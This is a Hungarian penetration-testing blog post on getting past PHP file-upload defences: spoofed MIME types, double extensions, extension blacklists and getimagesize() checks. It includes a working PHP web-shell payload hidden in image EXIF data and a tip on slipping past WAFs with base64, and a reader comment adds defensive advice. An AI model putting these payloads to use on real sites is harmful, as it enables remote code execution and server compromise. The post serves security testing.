PHP + Heidi Klum

június 30th, 2011 | 1 comment | PHP Scripts, PoC, Utiles

Ma már szinte mindenhol találkozunk olyan weboldalakkal amelyek lehetőséget adnak fileok feltöltésére, legyen az egy blogmotor, webshop, képgaléria stb. A “pentester” szempontjából a file-kezelés mindig egy érdekes terület.

Mindig is akartam egy filecsomagot amivel tesztelhetek egy file-kezelést, és most végre össze is raktam Heidi Klum segítségével.

Programozói hibák.

#1 $_FILES[“file”][“type”] avagy MIME TYPE :

Nagyon sok programozó nincsen tisztában a http protokollal és azt hiszi, hogy a [“type”] értéket valahogyan a szerver határozza meg, de valójában a kliens küldi ahogy a [“name”]-et is. (Itt még megemlíteném az “X-Forwarded-For” és társait amelyek egyszerű http headerek)

Nézzünk egy fileupload-ot:

Content-Type: multipart/form-data; boundary=----------16114279816074778979

Content-Length: 2417

----------16114279816074778979

Content-Disposition: form-data; name="feltolt_file"; filename="fenykep.jpg"

Content-Type: image/gif

$_FILES[“feltolt_file“][“name“] = fenykep.jpg
$_FILES[“feltolt_file“][“type“] = image/gif

Ezeket az értékeket tetszés szerint változtathatjuk tehát pl a filenév lehet \?*\/%.ext valamint feltölthetünk egy “php filet” image/jpeg type-al (lásd  http://0xff.org/ff-stuff/firefox-mime-type-change/) és a hatás nem marad el.

 

 

#2 .’.jpg’ .’.pdf’ .’.mp3′ avagy Double File Extensions.

Vannak programozók, akik tudják, hogy a MIME Type (Content Type nem megbízható ezért inkább a következő megoldást alkalmazzák:

move_uploaded_file($_FILES[“feltolt_file”][“tmp_name”], basename($_FILES[“userfile”][“name”])) . ‘.ext’)

ezzel csak az az egy gond van, hogy egyes szervereken (Apache {AddHandler} ) egy “valami.php.jpg” nevű file nagy valószínűséggel php kódként kerül “futtatásra” és a hatás nem szokott elmaradni.

 

 

#3 BlackList megközelítés avagy “-php”

Ugyancsak gyakori “megoldás” a file-ok kezelésénél, hogy a jobbik esetben a filename-ből kicserélik pl a ‘php’ részletet egy üres string-re

(pl: valami.php => valami { valami.phphpp => ;) })

vagy csak pusztán utolsó pont utáni stringet vetik össze egy fekete listával, és ha talál akkor nem “mentik el” a filet. Az kiterjesztés problémáját az elöbbi pontban már átnéztük, de ennek a módszernek nem ez a legfőbb problémája hanem maga a koncepció. Az esetek nagy hányadában ki lehet kerülni, olyan “egzotikus” kiterjesztésekkel mint pl : .php3 .php4 .php5 .phtml .py .shtml .html .htacces stb.

 

 

#4 getimagesize() avagy Heidi Klum.

Képek feltöltésénél találkozhatunk a getimagesize() függvénnyel, amelyet arra haszálnak, hogy megállapítsák, hogy egy file valójában kép-e valamint, hogy ellenőrizzék a méretét.

Ezt a megközelítést ki lehet játszani az exif el, és itt jön a képbe Heidi Klum, vegyünk egy palyload-ot mondjuk:

<?php eval(base64_decode($_POST[‘derf3423’])) ?&gt

és egy Heidi Klum fotót valamint egy exif editort (mvapi, ExifTool) és készen is vagyunk.

*a base64 kódolást azért érdemes használni, mert néha egyes WAF-ok kiakadnak egy “../../../” vagy egy “/etc/passwd” string-től és a legutolsó dolog amit akarunk az egy 5XX hibaüzenet.

Most-már sok változóval tudunk játszadozni :
– Contnent-Type
– File name
– Double extension
– Exif Data

+ Egyes oldalak pl csak jpg képet engednek feltölteni ami kisebb mind 50kb és max 120×120

Ezért raktam össze ezt a csomagot amiben megtalálható JPG PNG GIF képek különböző felbontásokban valamint egy HTML + JS alapú “Posterrel” meg némi extra fileokkal, így nem kell mindig újat csinálni méretezgetni átnevezni stb.
 
 

Letöltés: PHP_Heidi_Klum_files.tar.gz (23.5 MB)

 
 

One Comment

  1. Üdv

    Érdekes összefoglaló. Olyanról még nem hallottam, hogy a feltöltésnél a fájlnévből szűrnék a “php” sztringet. Akkor már a pontot szűrném vagy cserélném kötőjelre és máris nem kell ezer féle kiterjesztésre figyelni.

    Vagy saját, generált név + adatbázisba mentett eredeti név + letöltő php, benne visszaadva az eredeti név.

    Példának viszont a “valami.phphpp” fájlnév hibás, mert a csere nem random történik, hanem az első előfordulást cseréli először. Ami után az marad, hogy “valami.hpp”. De a “valami.pphphp” -re tényleg működne.

Leave a Comment